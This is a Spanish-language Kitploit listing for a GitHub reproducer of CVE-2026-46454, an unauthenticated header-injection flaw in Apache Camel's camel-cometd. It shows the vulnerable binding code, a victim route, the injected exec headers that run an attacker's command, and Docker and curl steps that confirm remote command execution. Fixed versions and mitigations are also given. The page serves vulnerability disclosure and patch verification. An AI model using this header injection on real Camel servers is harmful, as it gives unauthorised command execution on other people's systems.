Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-46454 — Reproductor para CVE-2026-46454 — inyección de cabeceras Bayeux entrantes en camel-cometd de Apache Camel (inyección no autenticada de cabeceras de control de Camel → redirección de productores posteriores / RCE) | Kitploit
Herramientas/GitHubGitHub/oscerd/cve-2026-46454
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y EducaciónRed Teaming
GitHuboscerd/cve-2026-46454

CVE-2026-46454

Reproductor para CVE-2026-46454 — inyección de cabeceras Bayeux entrantes en camel-cometd de Apache Camel (inyección no autenticada de cabeceras de control de Camel → redirección de productores posteriores / RCE)

Ver Repositorio
hace 1 mesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

camel-cometd Inbound Bayeux Header Injection Reproducer (CVE-2026-46454)

Este proyecto demuestra una inyección de cabeceras de mensaje en el componente camel-cometd de Apache Camel, registrada como CVE-2026-46454. El componente mapea las cabeceras de mensajes Bayeux (CometD) entrantes dentro del Camel Exchange sin una HeaderFilterStrategy. CometdBinding.createCamelMessage copia el mapa completo ext.CamelHeaders proporcionado por el cliente CometD directamente sobre el mensaje Camel (message.setHeaders(...)), por lo que cualquier nombre de cabecera — incluidas las cabeceras de control internas de Camel, como CamelHttpUri, CamelFileName, CamelJmsDestinationName (o, como aquí, las cabeceras de control camel-exec) — se acepta sin modificaciones. Dado que un CometdComponent no instala ninguna SecurityPolicy de Bayeux por defecto, cualquier cliente que pueda completar el handshake de Bayeux puede publicar dicho mensaje sin autenticación y dirigir a los productores posteriores de la ruta.

Aviso: https://camel.apache.org/security/CVE-2026-46454.html

Resumen de la vulnerabilidad

Misma familia de inyección de cabeceras que CVE-2025-27636, CVE-2025-29891, CVE-2025-30177, CVE-2026-40453 y CVE-2026-47323 — componentes que mapean cabeceras entrantes dentro del Exchange sin filtrar el espacio de nombres Camel.

Detalles técnicos

root@kitploit:~
// CometdBinding.createCamelMessage(...) - affected 4.18.2
Message message = new DefaultMessage(camelContext);
message.setBody(data);
Map<String, Object> headers = getHeadersFromMessage(cometdMessage);   // reads client-supplied ext.CamelHeaders
if (headers != null) {
    message.setHeaders(headers);                                      // <-- no HeaderFilterStrategy
}

El cliente controla ext.CamelHeaders, por lo que puede establecer cualquier cabecera de control de Camel en el Exchange. La corrección (4.14.8 / 4.18.3 / 4.21.0) implementa una HeaderFilterStrategy (un TODO de larga data en el código) que filtra el espacio de nombres Camel* / camel* sin distinguir mayúsculas/minúsculas en el mapeo entrante.

La ruta víctima

root@kitploit:~
from("cometd://0.0.0.0:8088/service/inject")
    .to("exec:echo?args=hello");     // route author only intends to run: echo hello

Un atacante publica en /service/inject con ext.CamelHeaders = { CamelExecCommandExecutable: "/usr/bin/touch", CamelExecCommandArgs: "/tmp/pwned" }; el binding las mapea sobre el Exchange y el productor exec ejecuta el comando del atacante en su lugar.

Estructura del repositorio

Autocontenido: el consumidor camel-cometd ejecuta un servidor Bayeux embebido (puerto 8088) dentro de la aplicación, y el endpoint /exploit/attack actúa como el cliente CometD no autenticado.

root@kitploit:~
CVE-2026-46454/
├── pom.xml                 # camel-cometd + camel-exec 4.18.2; cometd 9.0.0 client; Jetty pinned to 12.1.6
├── Dockerfile
├── docker-compose.yml
├── README.md
└── src/main/
    ├── java/com/example/
    │   ├── Application.java
    │   ├── VictimRoute.java        # from("cometd://.../service/inject").to("exec:echo")
    │   └── ExploitController.java  # attacker BayeuxClient: handshake + publish with ext.CamelHeaders
    └── resources/
        └── application.properties

Requisitos previos

  • Java 17+ y Maven 3.8+
  • Docker (ejecuta el reproductor)

Pasos de reproducción

Paso 1: Compilar e iniciar el contenedor

root@kitploit:~
mvn clean package -DskipTests
docker compose up -d --build

Paso 2: Disparar la inyección de cabeceras (RCE)

root@kitploit:~
curl -s http://localhost:8080/exploit/attack
# -> Handshaked (unauthenticated) and published to /service/inject with ext.CamelHeaders = {...}.
#    The camel-cometd consumer mapped them onto the Exchange; the exec producer ran the command.
#
#    >>> RCE proof — /tmp/pwned exists: true

Paso 3: Verificar

root@kitploit:~
docker exec cve-2026-46454 ls -la /tmp/pwned

Limpieza

root@kitploit:~
docker compose down

Vectores de ataque

Cualquier ruta con un consumidor camel-cometd que alimente a un productor posterior cuyo comportamiento esté controlado por cabeceras de Camel — un productor HTTP (CamelHttpUri), un productor de archivos (CamelFileName), un productor JMS (CamelJmsDestinationName), un productor exec (CamelExecCommand*), etc. Cualquier cliente que pueda completar el handshake contra el endpoint Bayeux puede inyectarlas; no se requiere autenticación por defecto. Las cabeceras inyectadas persisten a través de los saltos internos direct, seda y vm.

Condiciones de explotación

  1. Un consumidor camel-cometd en una versión afectada, enrutado a un productor controlable por cabeceras.
  2. Sin SecurityPolicy de Bayeux en el CometdComponent (por defecto), por lo que cualquier cliente puede publicar.

Corrección recomendada

Actualice a 4.14.8 / 4.18.3 / 4.21.0 (CAMEL-23507), que añade una HeaderFilterStrategy al binding de cometd que bloquea las cabeceras Camel* / camel* suministradas por el cliente en el mapeo entrante.

Mitigación

Hasta que actualice:

  1. Elimine las cabeceras de control de Camel al inicio de la ruta: .removeHeaders("Camel*") y .removeHeaders("camel*").
  2. Instale una SecurityPolicy de Bayeux explícita en el CometdComponent para que solo los clientes autenticados puedan publicar.

Aviso legal

Este reproductor se proporciona únicamente para investigación de seguridad y pruebas autorizadas, para una vulnerabilidad divulgada públicamente y corregida. No lo utilice contra sistemas sin permiso explícito.

Descargar herramienta
PropiedadValor
Componentecamel-cometd
Clase afectadaorg.apache.camel.component.cometd.CometdBinding#createCamelMessage (message.setHeaders(...))
CWECWE-20: Validación de entrada incorrecta
ImpactoInyección no autenticada de cabeceras de control de Camel → dirigir productores posteriores (RCE vía exec aquí)
Versiones afectadasDesde 4.0.0 antes de 4.14.8, desde 4.15.0 antes de 4.18.3, desde 4.19.0 antes de 4.21.0
Versiones corregidas4.14.8, 4.18.3, 4.21.0
JIRACAMEL-23507
ReporterYu Bao (PayPal)